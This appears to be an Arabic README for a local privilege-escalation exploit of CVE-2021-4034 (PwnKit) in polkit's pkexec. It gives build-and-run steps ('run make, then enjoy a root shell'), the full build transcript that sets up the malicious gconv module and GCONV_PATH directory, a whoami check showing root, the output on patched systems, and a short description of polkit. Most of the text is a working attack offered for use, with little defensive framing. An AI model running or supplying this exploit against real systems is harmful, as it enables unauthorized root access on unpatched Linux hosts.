
استغلال لثغرة CVE-2021-4034 (PwnKit) يوفر غلاف جذر عبر ثغرة polkit pkexec. يتضمن الكود المصدري وتعليمات البناء.
يوم واحد لاستغلال تصعيد الامتيازات في polkit
فقط نفّذ make، ثم ./cve-2021-4034 واستمتع بجذر (root shell).
النشرة الأصلية من المؤلفين الحقيقيين موجودة هنا
إذا كان الاستغلال يعمل، ستحصل على جذر (root shell) فورًا:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
تحديث polkit على معظم الأنظمة سيصلح الثغرة، لذلك ستحصل على رسالة الاستخدام وسيخرج البرنامج:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Polkit (المعروف سابقًا باسم PolicyKit) هو مكوّن للتحكم في الامتيازات على مستوى النظام في أنظمة التشغيل الشبيهة بـ Unix. يوفر طريقة منظمة للعمليات غير المميزة للتواصل مع العمليات المميزة. من الممكن أيضًا استخدام polkit لتنفيذ الأوامر بامتيازات مرتفعة باستخدام الأمر pkexec متبوعًا بالأمر المطلوب تنفيذه (بصلاحية الجذر).